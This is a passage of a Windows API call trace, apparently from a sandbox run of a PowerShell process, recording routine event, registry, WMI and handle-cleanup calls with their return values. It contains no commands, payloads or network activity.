ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0099.950] GetLastError () returned 0x3 [0099.950] SetErrorMode (uMode=0x1) returned 0x1 [0099.951] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0099.951] GetLastError () returned 0xcb [0099.952] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0099.952] GetLastError () returned 0xcb [0099.953] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0099.953] GetLastError () returned 0xcb [0099.954] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0099.954] GetLastError () returned 0xcb [0099.954] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0099.954] GetLastError () returned 0xcb [0099.958] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0099.958] GetLastError () returned 0xcb [0099.958] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3a0 [0099.958] GetLastError () returned 0x0 [0099.958] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3a4 [0099.958] GetLastError () returned 0x0 [0099.958] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3a8 [0099.958] GetLastError () returned 0x0 [0099.958] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3ac [0099.959] GetLastError () returned 0x0 [0099.959] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3b0 [0099.959] GetLastError () returned 0x0 [0099.959] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3b4 [0099.959] GetLastError () returned 0x0 [0099.959] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3d4 [0099.959] GetLastError () returned 0x0 [0099.959] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x398 [0099.959] GetLastError () returned 0x0 [0099.959] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3bc [0099.959] GetLastError () returned 0x0 [0099.959] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3c0 [0099.959] GetLastError () returned 0x0 [0099.959] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x324 [0099.959] GetLastError () returned 0x0 [0099.959] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x328 [0099.959] GetLastError () returned 0x0 [0099.961] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0099.961] GetLastError () returned 0xcb [0099.980] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0099.980] GetLastError () returned 0xcb [0099.981] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x27ec2c | out: lpMode=0x27ec2c) returned 1 [0099.982] GetLastError () returned 0xcb [0099.986] SetEvent (hEvent=0x3ac) returned 1 [0099.986] GetLastError () returned 0xcb [0099.986] SetEvent (hEvent=0x3a0) returned 1 [0099.986] GetLastError () returned 0xcb [0099.986] SetEvent (hEvent=0x3a4) returned 1 [0099.986] GetLastError () returned 0xcb [0099.986] SetEvent (hEvent=0x3a8) returned 1 [0099.986] GetLastError () returned 0xcb [0099.987] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3c4 [0099.987] GetLastError () returned 0x0 [0099.988] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0099.988] GetLastError () returned 0xcb [0099.989] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x27ea90 | out: phkResult=0x27ea90*=0x348) returned 0x0 [0099.989] RegQueryValueExW (in: hKey=0x348, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x27ead8, lpData=0x0, lpcbData=0x27ead4*=0x0 | out: lpType=0x27ead8*=0x0, lpData=0x0, lpcbData=0x27ead4*=0x0) returned 0x2 [0118.374] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x36c [0118.374] GetLastError () returned 0x0 [0118.374] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x370 [0118.374] GetLastError () returned 0x0 [0118.374] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3c8 [0118.374] GetLastError () returned 0x0 [0118.374] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3f8 [0118.374] GetLastError () returned 0x0 [0118.374] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4a8 [0118.374] GetLastError () returned 0x0 [0118.375] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x1f0 [0118.375] GetLastError () returned 0x0 [0118.375] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x1ec [0118.375] GetLastError () returned 0x0 [0118.375] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x488 [0118.375] GetLastError () returned 0x0 [0118.375] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x48c [0118.375] GetLastError () returned 0x0 [0118.375] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x408 [0118.375] GetLastError () returned 0x0 [0118.375] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x40c [0118.375] GetLastError () returned 0x0 [0118.375] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x470 [0118.375] GetLastError () returned 0x0 [0118.375] SetEvent (hEvent=0x3f8) returned 1 [0118.375] GetLastError () returned 0x0 [0118.375] SetEvent (hEvent=0x36c) returned 1 [0118.375] GetLastError () returned 0x0 [0118.375] SetEvent (hEvent=0x370) returned 1 [0118.375] GetLastError () returned 0x0 [0118.375] SetEvent (hEvent=0x3c8) returned 1 [0118.376] GetLastError () returned 0x0 [0118.376] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x41c [0118.376] GetLastError () returned 0x0 [0118.376] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x27eac4 | out: phkResult=0x27eac4*=0x418) returned 0x0 [0118.376] RegQueryValueExW (in: hKey=0x418, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x27eb0c, lpData=0x0, lpcbData=0x27eb08*=0x0 | out: lpType=0x27eb0c*=0x0, lpData=0x0, lpcbData=0x27eb08*=0x0) returned 0x2 [0118.443] SetEvent (hEvent=0x4a8) returned 1 [0118.443] GetLastError () returned 0x0 [0118.443] SetEvent (hEvent=0x1f0) returned 1 [0118.443] GetLastError () returned 0x0 [0118.443] SetEvent (hEvent=0x1ec) returned 1 [0118.443] GetLastError () returned 0x0 [0118.486] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0118.486] GetLastError () returned 0xcb [0118.570] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6f78d8, nSize=0x27eba0 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x27eba0) returned 0x1 [0118.570] GetLastError () returned 0xcb [0118.570] GetUserNameW (in: lpBuffer=0x6f7118, pcbBuffer=0x27eba8 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x27eba8) returned 1 [0118.571] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2be2778*="Stopped", lpRawData=0x2be2634) returned 1 [0118.572] GetLastError () returned 0x0 [0118.572] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0118.572] GetLastError () returned 0x0 [0118.575] CoGetContextToken (in: pToken=0x27f8d0 | out: pToken=0x27f8d0) returned 0x0 [0118.575] IUnknown:QueryInterface (in: This=0x697af8, riid=0x74933ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27f904 | out: ppvObject=0x27f904*=0x697b04) returned 0x0 [0118.575] IComThreadingInfo:GetCurrentThreadType (in: This=0x697b04, pThreadType=0x27f974 | out: pThreadType=0x27f974*=0) returned 0x0 [0118.575] IUnknown:Release (This=0x697b04) returned 0x1 [0118.577] CoGetContextToken (in: pToken=0x27f6a8 | out: pToken=0x27f6a8) returned 0x0 [0118.577] IUnknown:QueryInterface (in: This=0x697af8, riid=0x74933ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27f6dc | out: ppvObject=0x27f6dc*=0x697b04) returned 0x0 [0118.577] IComThreadingInfo:GetCurrentThreadType (in: This=0x697b04, pThreadType=0x27f710 | out: pThreadType=0x27f710*=0) returned 0x0 [0118.577] IUnknown:Release (This=0x697b04) returned 0x1 [0118.580] CoGetContextToken (in: pToken=0x27f6a8 | out: pToken=0x27f6a8) returned 0x0 [0118.580] IUnknown:QueryInterface (in: This=0x697af8, riid=0x74933ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27f6dc | out: ppvObject=0x27f6dc*=0x697b04) returned 0x0 [0118.580] IComThreadingInfo:GetCurrentThreadType (in: This=0x697b04, pThreadType=0x27f710 | out: pThreadType=0x27f710*=0) returned 0x0 [0118.580] IUnknown:Release (This=0x697b04) returned 0x1 [0118.591] CoGetContextToken (in: pToken=0x27f6a8 | out: pToken=0x27f6a8) returned 0x0 [0118.591] IUnknown:QueryInterface (in: This=0x697af8, riid=0x74933ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27f6dc | out: ppvObject=0x27f6dc*=0x697b04) returned 0x0 [0118.591] IComThreadingInfo:GetCurrentThreadType (in: This=0x697b04, pThreadType=0x27f710 | out: pThreadType=0x27f710*=0) returned 0x0 [0118.591] IUnknown:Release (This=0x697b04) returned 0x1 [0118.639] CoGetContextToken (in: pToken=0x27f688 | out: pToken=0x27f688) returned 0x0 [0118.639] IUnknown:QueryInterface (in: This=0x697af8, riid=0x74933ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27f6bc | out: ppvObject=0x27f6bc*=0x697b04) returned 0x0 [0118.639] IComThreadingInfo:GetCurrentThreadType (in: This=0x697b04, pThreadType=0x27f6f0 | out: pThreadType=0x27f6f0*=0) returned 0x0 [0118.639] IUnknown:Release (This=0x697b04) returned 0x1 [0118.643] CoUninitialize () Thread: id = 16 os_tid = 0x244 Thread: id = 17 os_tid = 0x7bc Thread: id = 19 os_tid = 0x54c Thread: id = 47 os_tid = 0x3a4 Thread: id = 48 os_tid = 0x64 [0088.051] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0096.157] LocalFree (hMem=0x701be0) returned 0x0 [0096.157] GetLastError () returned 0x0 [0096.157] CloseHandle (hObject=0x348) returned 1 [0096.157] GetLastError () returned 0x0 [0096.157] CloseHandle (hObject=0x13) returned 1 [0096.158] GetLastError () returned 0x0 [0096.158] CloseHandle (hObject=0xf) returned 1 [0096.158] GetLastError () returned 0x0 [0096.158] RegCloseKey (hKey=0x32c) returned 0x0 [0096.159] RegCloseKey (hKey=0x328) returned 0x0 [0096.159] RegCloseKey (hKey=0x324) returned 0x0 [0096.159] LocalFree (hMem=0x701c00) returned 0x0 [0096.159] GetLastError () returned 0x0 [0096.159] RegCloseKey (hKey=0x354) returned 0x0 [0097.510] RegCloseKey (hKey=0x3cc) returned 0x0 [0097.511] RegCloseKey (hKey=0x394) returned 0x0 [0097.511] RegCloseKey (hKey=0x390) returned 0x0 [0097.511] RegCloseKey (hKey=0x38c) returned 0x0 [0097.511] RegCloseKey (hKey=0x388) returned 0x0 [0097.511] RegCloseKey (hKey=0x384) returned 0x0 [0097.512] RegCloseKey (hKey=0x380) returned 0x0 [0097.512] RegCloseKey (hKey=0x37c) returned 0x0 [0097.512] RegCloseKey (hKey=0x378) returned 0x0 [0097.512] RegCloseKey (hKey=0x3c8) returned 0x0 [0097.513] RegCloseKey (hKey=0x370) returned 0x0 [0097.513] RegCloseKey (hKey=0x36c) returned 0x0 [0097.513] RegCloseKey (hKey=0x368) returned 0x0 [0097.513] RegCloseKey (hKey=0x364) returned 0x0 [0097.514] RegCloseKey (hKey=0x360) returned 0x0 [0097.514] RegCloseKey (hKey=0x35c) returned 0x0 [0097.514] RegCloseKey (hKey=0x358) returned 0x0 [0097.514] RegCloseKey (hKey=0x348) returned 0x0 [0097.514] RegCloseKey (hKey=0x3c4) returned 0x0 [0097.515] RegCloseKey (hKey=0x328) returned 0x0 [0097.515] RegCloseKey (hKey=0x324) returned 0x0 [0097.515] RegCloseKey (hKey=0x3c0) returned 0x0 [0097.515] RegCloseKey (hKey=0x3bc) returned 0x0 [0097.516] RegCloseKey (hKey=0x398) returned 0x0 [0097.516] RegCloseKey (hKey=0x3d4) returned 0x0 [0097.516] RegCloseKey (hKey=0x3b4) returned 0x0 [0097.516] RegCloseKey (hKey=0x3b0) returned 0x0 [0097.516] RegCloseKey (hKey=0x3ac) returned 0x0 [0097.517] RegCloseKey (hKey=0x3a8) returned 0x0 [0097.517] RegCloseKey (hKey=0x3a4) returned 0x0 [0097.517] RegCloseKey (hKey=0x3a0) returned 0x0 [0097.517] RegCloseKey (hKey=0x39c) returned 0x0 [0097.518] RegCloseKey (hKey=0x32c) returned 0x0 [0097.518] RegCloseKey (hKey=0x3d0) returned 0x0 [0097.518] RegCloseKey (hKey=0x354) returned 0x0 [0100.347] RegCloseKey (hKey=0x348) returned 0x0 [0118.579] GetLastError () returned 0x0 [0118.579] GetLastError () returned 0x0 [0118.579] LocalFree (hMem=0x6ef3f8) returned 0x0 [0118.579] GetLastError () returned 0x0 [0118.580] GetLastError () returned 0x0 [0118.580] GetLastError () returned 0x0 [0118.580] LocalFree (hMem=0x6ef370) returned 0x0 [0118.580] GetLastError () returned 0x0 [0118.590] DeregisterEventSource (hEventLog=0x4e90004) returned 1 [0118.591] GetLastError () returned 0x0 [0118.596] CoGetContextToken (in: pToken=0x4a4f9ac | out: pToken=0x4a4f9ac) returned 0x0 [0118.596] WbemLocator:IUnknown:Release (This=0x6931a4) returned 0x1 [0118.596] IUnknown:Release (This=0x537cb34) returned 0x0 [0118.598] IUnknown:Release (This=0x537d710) returned 0x1 [0118.613] CloseHandle (hObject=0x73) returned 1 [0118.614] GetLastError () returned 0x0 [0118.614] CloseHandle (hObject=0x6f) returned 1 [0118.614] GetLastError () returned 0x0 [0118.615] CloseHandle (hObject=0x6b) returned 1 [0118.615] GetLastError () returned 0x0 [0118.615] CloseHandle (hObject=0x67) returned 1 [0118.615] GetLastError () returned 0x0 [0118.615] CloseHandle (hObject=0x63) returned 1 [0118.616] GetLastError () returned 0x0 [0118.616] CloseHandle (hObject=0x5f) returned 1 [0118.616] GetLastError () returned 0x0 [0118.616] CloseHandle (hObject=0x5b) returned 1 [0118.617] GetLastError () returned 0x0 [0118.617] CloseHandle (hObject=0x57) returned 1 [0118.617] GetLastError () returned 0x0 [0118.617] CloseHandle (hObject=0x53) returned 1 [0118.618] GetLastError () returned 0x0 [0118.618] CloseHandle (hObject=0x4f) returned 1 [0118.618] GetLastError () returned 0x0 [0118.618] CloseHandle (hObject=0x4b) returned 1 [0118.619] GetLastError () returned 0x0 [0118.619] CloseHandle (hObject=0x47) returned 1 [0118.619] GetLastError () returned 0x0 [0118.619] CloseHandle (hObject=0x43) returned 1 [0118.620] GetLastError () returned 0x0 [0118.620] CloseHandle (hObject=0x3f) returned 1 [0118.620] GetLastError () returned 0x0 [0118.620] CloseHandle (hObject=0x3b) returned 1 [0118.621] GetLastError () returned 0x0 [0118.621] CloseHandle (hObject=0x37) returned 1 [0118.621] GetLastError () returned 0x0 [0118.621] CloseHandle (hObject=0x33) returned 1 [0118.621] GetLastError () returned 0x0 [0118.622] CloseHandle (hObject=0x2f) returned 1 [0118.622] GetLastError () returned 0x0 [0118.622] CloseHandle (hObject=0x328) returned 1 [0118.622] GetLastError () returned 0x0 [0118.622] CloseHandle (hObject=0x324) returned 1 [0118.622] GetLastError () returned 0x0 [0118.623] CloseHandle (hObject=0x3c0) returned 1 [0118.623] GetLastError () returned 0x0 [0118.623] CloseHandle (hObject=0x3bc) returned 1 [0118.623] GetLastError () returned 0x0 [0118.623] CloseHandle (hObject=0x398) returned 1 [0118.623] GetLastError () returned 0x0 [0118.623] CloseHandle (hObject=0x3d4) returned 1 [0118.623] GetLastError () returned 0x0 [0118.624] CloseHandle (hObject=0x3b4) returned 1 [0118.624] GetLastError () returned 0x0 [0118.624] CloseHandle (hObject=0x3b0) returned 1 [0118.624] GetLastError () returned 0x0 [0118.624] CloseHandle (hObject=0x3ac) returned 1 [0118.624] GetLastError () returned 0x0 [0118.624] CloseHandle (hObject=0x3a8) returned 1 [0118.624] GetLastError () returned 0x0 [0118.625] CloseHandle (hObject=0x3a4) returned 1 [0118.625] GetLastError () returned 0x0 [0118.625] CloseHandle (hObject=0x3a0) returned 1 [0118.625] GetLastError () returned 0x0 [0118.625] CloseHandle (hObject=0x2b) returned 1 [0118.625] GetLastError () returned 0x0 [0118.626] CloseHandle (hObject=0x27) returned 1 [0118.626] GetLastError () returned 0x0 [0118.626] CloseHandle (hObject=0x23) returned 1 [0118.626] GetLastError () returned 0x0 [0118.627] CloseHandle (hObject=0x1f) returned 1 [0118.627] GetLastError () returned 0x0 [0118.627] CloseHandle (hObject=0x1b) returned 1 [0118.627] GetLastError () returned 0x0 [0118.628] CloseHandle (hObject=0x348) returned 1 [0118.628] GetLastError () returned 0x0 [0118.628] CloseHandle (hObject=0x17) returned 1 [0118.628] GetLastError () returned 0x0 [0118.629] CloseHandle (hObject=0x13) returned 1 [0118.629] GetLastError () returned 0x0 [0118.629] RegCloseKey (hKey=0x418) returned 0x0 [0118.630] CloseHandle (hObject=0x41c) returned 1 [0118.630] GetLastError () returned 0x0 [0118.630] CloseHandle (hObject=0x470) returned 1 [0118.630] GetLastError () returned 0x0 [0118.630] CloseHandle (hObject=0x40c) returned 1 [0118.630] GetLastError () returned 0x0 [0118.630] CloseHandle (hObject=0x408) returned 1 [0118.631] GetLastError () returned 0x0 [0118.631] CloseHandle (hObject=0x48c) returned 1 [0118.631] GetLastError () returned 0x0 [0118.631] CloseHandle (hObject=0x3c4) returned 1 [0118.631] GetLastError () returned 0x0 [0118.631] CloseHandle (hObject=0x488) returned 1 [0118.631] GetLastError () returned 0x0 [0118.631] CloseHandle (hObject=0x1ec) returned 1 [0118.631] GetLastError () returned 0x0 [0118.632] CloseHandle (hObject=0x1f0) returned 1 [0118.632] GetLastError () returned 0x0 [0118.632] CloseHandle (hObject=0x4a8) returned 1 [0118.632] GetLastError () returned 0x0 [0118.632] CloseHandle (hObject=0x340) returned 1 [0118.632] GetLastError () returned 0x0 [0118.633] CloseHandle (hObject=0x3f8) returned 1 [0118.633] GetLastError () returned 0x0 [0118.633] CloseHandle (hObject=0x3c8) returned 1 [0118.633] GetLastError () returned 0x0 [0118.633] UnmapViewOfFile (lpBaseAddress=0x4df0000) returned 1 [0118.634] CloseHandle (hObject=0x350) returned 1 [0118.634] GetLastError () returned 0x0 [0118.634] RegCloseKey (hKey=0x80000004) returned 0x0 [0118.635] CloseHandle (hObject=0x370) returned 1 [0118.635] GetLastError () returned 0x0 [0118.635] CloseHandle (hObject=0x30c) returned 1 [0118.635] GetLastError () returned 0x0 [0118.635] CloseHandle (hObject=0x36c) returned 1 [0118.635] GetLastError () returned 0x0 [0118.636] CloseHandle (hObject=0xf) returned 1 [0118.636] GetLastError () returned 0x0 [0118.638] CoGetContextToken (in: pToken=0x4a4e49c | out: pToken=0x4a4e49c) returned 0x0 [0118.638] CoGetContextToken (in: pToken=0x4a4e42c | out: pToken=0x4a4e42c) returned 0x0 [0118.638] IUnknown:Release (This=0x537d710) returned 0x0 [0118.638] CoGetContextToken (in: pToken=0x4a4e42c | out: pToken=0x4a4e42c) returned 0x0 [0118.638] WbemLocator:IUnknown:Release (This=0x5370bf0) returned 0x0 [0118.639] CoGetContextToken (in: pToken=0x4a4e42c | out: pToken=0x4a4e42c) returned 0x0 [0118.639] WbemLocator:IUnknown:Release (This=0x77015c) returned 0x1 [0118.639] WbemLocator:IUnknown:Release (This=0x537d3c4) returned 0x0 [0118.640] CoGetContextToken (in: pToken=0x4a4e42c | out: pToken=0x4a4e42c) returned 0x0 [0118.640] WbemDefPath:IUnknown:Release (This=0x53708b8) returned 0x1 [0118.640] WbemDefPath:IUnknown:Release (This=0x53708b8) returned 0x0 [0118.641] CoGetContextToken (in: pToken=0x4a4e42c | out: pToken=0x4a4e42c) returned 0x0 [0118.641] WbemStatusCodeText:IUnknown:Release (This=0x5370ad0) returned 0x1 [0118.641] WbemStatusCodeText:IUnknown:Release (This=0x5370ad0) returned 0x0 [0118.641] CoGetContextToken (in: pToken=0x4a4e42c | out: pToken=0x4a4e42c) returned 0x0 [0118.641] WbemDefPath:IUnknown:Release (This=0x5370820) returned 0x1 [0118.641] IUnknown:Release (This=0x697af8) returned 0x0 [0118.641] WbemDefPath:IUnknown:Release (This=0x5370820) returned 0x0 Thread: id = 130 os_tid = 0xbd0 [0099.999] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0100.146] SetThreadUILanguage (LangId=0x0) returned 0x409 [0100.163] VirtualQuery (in: lpAddress=0x5e8e590, lpBuffer=0x5e8f590, dwLength=0x1c | out: lpBuffer=0x5e8f590*(BaseAddress=0x5e8e000, AllocationBase=0x5500000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0100.169] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.169] GetLastError () returned 0xcb [0100.173] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.173] GetLastError () returned 0xcb [0100.175] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.175] GetLastError () returned 0xcb [0100.199] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.199] GetLastError () returned 0xcb [0100.203] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.203] GetLastError () returned 0xcb [0100.204] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.204] GetLastError () returned 0xcb [0100.248] VirtualQuery (in: lpAddress=0x5e8e6ac, lpBuffer=0x5e8f6ac, dwLength=0x1c | out: lpBuffer=0x5e8f6ac*(BaseAddress=0x5e8e000, AllocationBase=0x5500000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0100.249] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.249] GetLastError () returned 0xcb [0100.252] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.252] GetLastError () returned 0xcb [0100.252] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.252] GetLastError () returned 0xcb [0100.294] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.294] GetLastError () returned 0xcb [0100.352] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.352] GetLastError () returned 0xcb [0100.445] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.445] GetLastError () returned 0xcb [0100.448] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.448] GetLastError () returned 0xcb [0100.449] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.449] GetLastError () returned 0xcb [0100.451] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.451] GetLastError () returned 0xcb [0100.452] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.453] GetLastError () returned 0xcb [0100.454] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.454] GetLastError () returned 0xcb [0100.456] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.456] GetLastError () returned 0xcb [0100.495] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a18, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.495] GetLastError () returned 0xcb [0100.835] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.835] GetLastError () returned 0xcb [0100.858] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0100.858] GetLastError () returned 0xcb [0101.479] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x348 [0101.479] GetLastError () returned 0x0 [0101.482] CoGetObjectContext (in: riid=0x2ad2fc8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e8f240 | out: ppv=0x5e8f240*=0x697b04) returned 0x0 [0101.520] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x5e8e3f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0101.520] GetLastError () returned 0x0 [0101.523] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\\\wminet_utils.dll") returned 0x6a310000 [0101.718] GetProcAddress (hModule=0x6a310000, lpProcName="ResetSecurity") returned 0x6a311944 [0101.723] GetProcAddress (hModule=0x6a310000, lpProcName="SetSecurity") returned 0x6a311986 [0101.727] GetProcAddress (hModule=0x6a310000, lpProcName="BlessIWbemServices") returned 0x6a3119cc [0101.731] GetProcAddress (hModule=0x6a310000, lpProcName="BlessIWbemServicesObject") returned 0x6a311a1e [0101.735] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyHandle") returned 0x6a311a70 [0101.738] GetProcAddress (hModule=0x6a310000, lpProcName="WritePropertyValue") returned 0x6a311a89 [0101.742] GetProcAddress (hModule=0x6a310000, lpProcName="Clone") returned 0x6a311aa2 [0101.746] GetProcAddress (hModule=0x6a310000, 